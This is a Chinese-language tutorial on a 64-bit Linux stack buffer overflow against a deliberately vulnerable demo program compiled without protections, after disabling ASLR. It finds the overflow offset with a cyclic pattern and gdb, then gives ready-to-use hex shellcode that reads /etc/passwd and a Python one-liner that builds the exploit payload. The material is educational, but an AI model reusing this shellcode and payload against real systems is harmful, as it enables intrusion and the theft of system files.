0x01 x86与x64的区别

  • 寄存器名称的不同。如x86下的EBP、ESP在x64中都成为了RBP、RSP。

  • 函数传参的不同。x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。

  • 内存地址大小不同。在x64中的内存地址不能大于 0x00007fffffffffff ,否则会抛出异常(0x7fffffffffff = 01111111111111111111111111111111111111111111111)。通常我们尝试覆盖栈时出现段错误,通常是访问了大于 0x00007fffffffffff 的地址造成的。

0x02 demo

    int main(int argc, char **argv) { 
        char buffer[256];
        if(argc != 2) {
                exit(0);
        }
        printf("%p\n", buffer);
        strcpy(buffer,  argv[1]);
        printf("%s\n", buffer);
        return 0;
    }

使用:gcc -m64 bof.c -o bof -z execstack -fno-stack-protector 编译。

编译完成之后我们把linux系统的ASLR(内存空间分布随机化)关闭。

sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

0x03 溢出栈

可以使用pattern脚本来计算缓冲区的大小:https://github.com/Svenito/exploit-pattern

    liuil@ubuntu:~/Desktop/script$ ./pattern.py 300

    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7AhAh9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

    liuil@ubuntu:~/Desktop$ ./bof Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
    0x7fff29310170
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
    Segmentation fault (core dumped)

可以发现我们触发了栈溢出,接下来计算缓冲区的大小。由于程序使用的内存地址不能大于0x00007fffffffffff,PC指针并没有指向类似于0x41414141那样地址,但是ret指令等于pop rip,我们可以通过查看栈顶指针的值确定下一步程序运行的地址。

    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffde38 ("Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
    0008| 0x7fffffffde40 ("0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
    0016| 0x7fffffffde48 ("j3Aj4Aj5Aj6Aj7Aj8Aj9")
    0024| 0x7fffffffde50 ("Aj6Aj7Aj8Aj9")
    0032| 0x7fffffffde58 --> 0x396a4138 ('8Aj9')
    0040| 0x7fffffffde60 --> 0x0 
    0048| 0x7fffffffde68 --> 0xc586ca108a1de5d6 
    0056| 0x7fffffffde70 --> 0x400520 (<_start>:    xor    ebp,ebp)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x0000000000400686 in main ()
    gdb-peda$ x/gx $rsp
    0x7fffffffde38: 0x6a41396941386941

接着使用pattern.py计算缓冲区大小。

    liuil@ubuntu:~/Desktop/script$ ./pattern.py 0x6a41396941386941
    Pattern 0x6a41396941386941 first occurrence at position 264 in pattern.

则缓冲区的大小为264个字节。

使用peda自带的checksec功能查看是否开启保护:

    gdb-peda$ checksec
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : disabled
    PIE       : disabled
    RELRO     : Partial

发现没有开启任何保护,所以我们可以直接将shellcode放置在栈上执行。

则构造payload:shellcode + off + ret 即可。

利用一段现有的shellcode:

    \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

这段shellcode的作用是读出/etc/passwd的内容。

写出exp:

    python -c 'print  "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +  "\x7f\xff\xff\xff\xdc\x90"[::-1]'

执行完毕,就可以看到/etc/passwd的内容了。